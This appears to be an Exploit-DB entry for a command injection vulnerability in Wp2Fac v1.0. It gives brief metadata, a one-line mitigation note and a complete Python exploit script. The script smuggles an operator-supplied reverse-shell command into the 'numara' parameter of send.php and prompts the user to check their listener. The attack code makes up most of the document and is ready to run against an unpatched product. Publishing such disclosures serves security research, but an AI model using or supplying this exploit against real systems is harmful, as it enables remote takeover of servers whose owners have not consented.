Wp2Fac v1.0 - OS Command Injection

vendor:

Wp2Fac

by:

Ahmet Ümit BAYRAM

7.5

CVSS

HIGH

OS Command Injection

CWE

Product Name: Wp2Fac

Affected Version From: 1

Affected Version To: 1

Patch Exists: NO

Related CWE:

CPE: a:metinyesil:wp2fac:1.0

Metasploit:

Other Scripts:

Platforms Tested: Kali Linux, Windows 11

2023

Wp2Fac v1.0 – OS Command Injection

This exploit allows an attacker to execute arbitrary operating system commands on the target system by injecting malicious commands through the 'numara' parameter in the 'send.php' endpoint.

Mitigation:

To mitigate this vulnerability, it is recommended to sanitize and validate user input before using it in command execution.

Source

Exploit-DB raw data:

# Exploit Title: Wp2Fac v1.0 - OS Command Injection
# Date: 2023-08-27
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor: https://github.com/metinyesil/wp2fac
# Tested on: Kali Linux & Windows 11
# CVE: N/A

import requests

def send_post_request(host, revshell):
    url = f'http://{host}/send.php'
    headers = {
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:102.0)
Gecko/20100101 Firefox/102.0',
        'Accept': '*/*',
        'Accept-Language': 'en-US,en;q=0.5',
        'Accept-Encoding': 'gzip, deflate',
        'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
        'X-Requested-With': 'XMLHttpRequest',
        'Origin': f'http://{host}',
        'Connection': 'close',
        'Referer': f'http://{host}/',
    }

    data = {
        'numara': f'1234567890 & {revshell} &;'
    }

    response = requests.post(url, headers=headers, data=data)
    return response.text

host = input("Target IP: ")

revshell = input("Reverse Shell Command: ")

print("Check your listener!")

send_post_request(host, revshell)